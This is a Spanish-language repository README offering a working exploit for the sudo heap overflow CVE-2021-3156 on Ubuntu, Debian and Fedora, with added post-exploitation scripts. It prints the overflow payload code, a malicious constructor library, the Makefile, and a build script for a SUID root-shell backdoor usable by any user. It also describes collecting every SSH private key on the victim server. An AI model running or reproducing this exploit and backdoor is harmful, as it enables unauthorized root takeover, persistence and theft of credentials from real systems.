purpleozone/pe_cve-cve-2021-3156Exploit para Ubuntu 20.04 usando CVE-2021-3156 mejorado con scripts de post-explotación
Exploit para Ubuntu 20.04 usando CVE-2021-3156, mejorado con scripts simples y automatizados de post-explotación
Además de la shell root, puedes tener:
-Un archivo .txt con todas las claves ssh id_rsa configuradas en el servidor. Ver el script: get_all_ssh_keys.sh
-Un ejecutable privshell que permite a cualquier usuario iniciar una shell root (trabajando en corregir el error de gcc). Ver el script: create_privshell.sh
Para tener un resultado exitoso, es necesario que la máquina víctima tenga una de las siguientes versiones de SO y Sudo:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)
Para hacer vulnerable mi MV, degradé mi versión de sudo con el siguiente comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
El exploit puede funcionar siempre que se obtenga acceso al sistema víctima con un usuario sin privilegios considerables.
Puedes clonar el repositorio en la máquina víctima o en tu máquina local y cargarlo con wget
Ejecuta el comando "make" para compilar los archivos .c según la vulnerabilidad
Obtendrás el archivo exploit, así que puedes ejecutarlo con "./" Después de ejecutar el exploit, ahora podemos ver dos archivos generados en el repositorio, uno que contiene todas las claves ssh registradas en el sistema y el otro contiene el archivo ejecutable SUID que otorga una sesión root a todos los usuarios. (resaltado en púrpura)
Podrías ver un error como el siguiente:
Todavía estoy tratando de resolver el error, pero supongo que es la shell que genera el exploit. Intenté ejecutar el comando ./create_privshell.sh como root accediendo con sudo su desde un usuario con los permisos adecuados y la compilación del script fue correcta. Alternativamente, se puede compilar en otra máquina y copiarlo a la víctima, por eso existe una solicitud wget.
El script para compilar es el siguiente:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
Ahora puedes leer los archivos .txt con todas las claves ssh y usar privshell hasta que arregle el error de gcc
Descubierto por Qualys
Puntuación CVSS de 7.8
CVE-2021-3156, también conocida como la vulnerabilidad "Baron Samedit", es una vulnerabilidad de seguridad que afecta al ampliamente usado programa sudo en sistemas operativos basados en Unix. Sudo es un programa que permite a los usuarios ejecutar comandos con privilegios elevados, normalmente ingresando su propia contraseña o una contraseña de root. La vulnerabilidad es causada por un problema de desbordamiento de búfer en la función "sudoedit" del comando sudo, que permite a los usuarios editar archivos con privilegios elevados. La vulnerabilidad fue descubierta por primera vez en enero de 2021 por Qualys Research Labs, y afecta a las versiones de sudo desde 1.8.2 hasta 1.8.31p2 y desde 1.9.0 hasta 1.9.5p1.
###Detalles muy muy técnicos Información de: Qualys
En otras palabras, set_cmnd() es vulnerable a un desbordamiento de búfer basado en montón, porque los caracteres fuera de los límites que se copian al búfer "user_args" no fueron incluidos en su tamaño (calculado en las líneas 852-853).
Para la parte del desbordamiento, usé el archivo exploit.c de redhawkeye/sudo-exploit
Es un poco complejo pero fácilmente interpretable.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
Esta parte declara un array de variables de entorno env que se pasarán a la llamada al sistema execve. Las variables de entorno contienen una serie de barras invertidas y una variable especialmente diseñada llamada LC_ALL que tiene el valor "C.UTF-8@" concatenado con 208 (0xd0) caracteres A. El valor C.UTF-8@ se pasará como la variable de entorno LC_ALL al comando sudoedit. Los 208 caracteres A se utilizan para desbordar un búfer en el programa sudoedit y ejecutar código arbitrario.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
Esta parte declara una variable a que contiene una cadena de 112 (0x70) caracteres A, seguida de una barra invertida. Luego declara un array argv que se pasará a execve. El array contiene la ruta al comando sudoedit (/usr/bin/sudoedit), la bandera -s, y la variable a creada anteriormente.
execve(argv[0], argv, env);
Esta es la llamada al sistema execve que realmente ejecuta el comando sudoedit con los argumentos y variables de entorno proporcionados. El programa sudoedit leerá la variable de entorno LC_ALL e intentará analizarla como una ruta de archivo. Los caracteres A desbordados se utilizarán para escribir datos arbitrarios en la memoria y potencialmente ejecutar código arbitrario.
Por lo tanto, estos datos en la memoria reservados para el RCE serán utilizados por nuestro archivo shell_tool.c
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
Esta parte del código declara una función llamada sice con el atributo attribute((constructor)), por lo que la función se llamará automáticamente cuando el programa comience a ejecutarse, antes de que se ejecute main(). Dentro de la función sice, se llama a la función setuid(0) para establecer el ID de usuario efectivo del proceso a 0, que es el ID de usuario del superusuario o root. Esto efectivamente le da al programa privilegios de root. Después de eso, solo usando el argumento system("command"), podemos hacer cualquier cosa que queramos antes de que la sesión root aparezca en la terminal, por eso quería probar lo de los scripts, para tener algunos backdoors y datos exfiltrados antes de obtener la shell root.
Intenté programar mi propia versión del código llamada mybufferof.c, básicamente es bastante similar, así que siéntete libre de modificar el Makefile para probarlo jeje
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
Primero necesitamos compilar nuestro exploit y luego crear el directorio "libnss_X". Luego, el último comando compila el archivo shell_tool.c y crea un archivo de objeto compartido llamado X.so.2 en el directorio libnss_X:
La bandera -g genera información de depuración para el archivo de objeto compartido.
La bandera -fPIC genera código independiente de posición para objetos compartidos.
La bandera -shared especifica que se debe crear un archivo de objeto compartido.
El archivo de objeto compartido resultante X.so.2 se coloca en el directorio libnss_X creado en el segundo paso.
Esto es importante para el CVE, debido a esto:
Datos de:Qualys
Eso es todo, disfruta, supongo